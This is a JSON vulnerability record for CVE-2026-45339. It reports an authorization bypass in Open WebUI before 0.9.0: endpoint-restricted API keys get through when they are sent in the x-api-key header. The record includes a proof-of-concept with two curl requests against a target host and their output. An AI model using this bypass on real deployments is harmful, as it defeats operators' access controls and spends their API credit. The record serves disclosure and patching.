{"id":"CVE-2026-45339","aliases":["CVE-2026-45339","GHSA-57q6-fvp4-pqmm","PYSEC-2026-3543"],"related":[],"kind":"vulnerability","state":"published","title":"Open WebUI: API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints","summary":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned. This vulnerability is fixed in 0.9.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned. This vulnerability is fixed in 0.9.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nOpen WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from `/api/v1/messages`, requests using the `Authorization: Bearer sk-...` header are correctly blocked with 403. However, the same key sent via the `x-api-key` header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.\n\n### Details\n\nOpen WebUI's Anthropic-compatible API path accepts authentication via `x-api-key` header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the `Authorization` header. When the same `sk-...` key is supplied in `x-api-key`, the restriction check is skipped but the key is still valid for authentication.\n\nThis means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using `x-api-key` instead of `Authorization`.\n\n### PoC\n\n**Verified against Open WebUI v0.8.11.**\n\n**Setup:** Admin creates a user with an API key that has endpoint restrictions (not allowed on `/api/v1/messages`). A mock OpenAI-compatible model (`mock-model`) is configured.\n\n```bash\nAPI_KEY=\"sk-dc56016d720e49ba9e95584d602b79bb\"\n\n# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)\ncurl -s -X POST http://target:8080/api/v1/messages \\\n  -H \"Authorization: Bearer $API_KEY\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"model\":\"mock-model\",\"messages\":[{\"role\":\"user\",\"content\":\"via Authorization header\"}]}'\n\n# Test 2: x-api-key header — BYPASS (same key, restriction skipped)\ncurl -s -X POST http://target:8080/api/v1/messages \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"model\":\"mock-model\",\"messages\":[{\"role\":\"user\",\"content\":\"via x-api-key header\"}]}'\n```\n\n**Verified output:**\n\n```\n# Authorization header:\n{\"detail\":\"API key not allowed to access this endpoint.\"}\n\n# x-api-key header (SAME key):\n{\"id\":\"chatcmpl-mock\",\"type\":\"message\",\"role\":\"assistant\",\"content\":[{\"type\":\"text\",\"text\":\"MOCK-CHAT-RESPONSE\"}],\"model\":\"mock-model\",\"usage\":{\"input_tokens\":1,\"output_tokens\":1}}\n```\n\nThe same API key is rejected via `Authorization` (403) but fully processed via `x-api-key` (200 with model response).\n\n### Impact\n\nAny API key with endpoint restrictions can bypass those restrictions by using the `x-api-key` header instead of `Authorization`. This undermines the entire API key permission model:\n\n- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses\n- Keys restricted from admin endpoints may access admin functionality\n- The operator's intended access control is silently ineffective\n- API credit spend cannot be controlled through endpoint restrictions","format":"markdown","source":"ghsa"},{"lang":"es","text":"Open WebUI es una plataforma de inteligencia artificial autoalojada diseñada para operar completamente sin conexión. Antes de la versión 0.9.0, Open WebUI permite a los administradores restringir a qué puntos finales de la API puede acceder una clave de API. Cuando una clave de API está restringida para /api/v1/messages, las solicitudes que utilizan el encabezado Authorization: Bearer sk-... se bloquean correctamente con un 403. Sin embargo, la misma clave enviada a través del encabezado x-api-key omite la restricción por completo - la solicitud es autenticada, el modelo es invocado y se devuelve una respuesta completa. Esta vulnerabilidad se corrige en la versión 0.9.0.","source":"nvd"}],"published":"2026-05-14T20:21:26.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-863"],"affected":[{"ranges":[{"version":"< 0.9.0","status":"affected"}],"vendor":"open-webui","product":"open-webui","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.0"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.9.0"}],"vendor":"openwebui","product":"open_webui","cpe":"cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.0"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"pysec"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-57q6-fvp4-pqmm","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45339","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-57q6-fvp4-pqmm","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.0","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-3543.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/open-webui","tags":["package","web"],"sources":["ghsa","pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-05-18T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45339","url":"https://www.cve.org/CVERecord?id=CVE-2026-45339","licence":"CVE Terms of Use","modified":"2026-05-19T03:55:42.745Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-57q6-fvp4-pqmm","url":"https://github.com/advisories/GHSA-57q6-fvp4-pqmm","licence":"CC-BY-4.0","modified":"2026-11-03T22:00:03.955Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45339","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45339","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3543","url":"https://osv.dev/vulnerability/PYSEC-2026-3543","licence":"CC-BY-4.0","modified":"2026-07-23T17:00:11.717Z"}],"updatedAt":"2026-11-25T22:59:21.855Z","epss":{"score":0.00309,"percentile":0.25576,"date":"2026-12-01T12:00:22.000Z"}}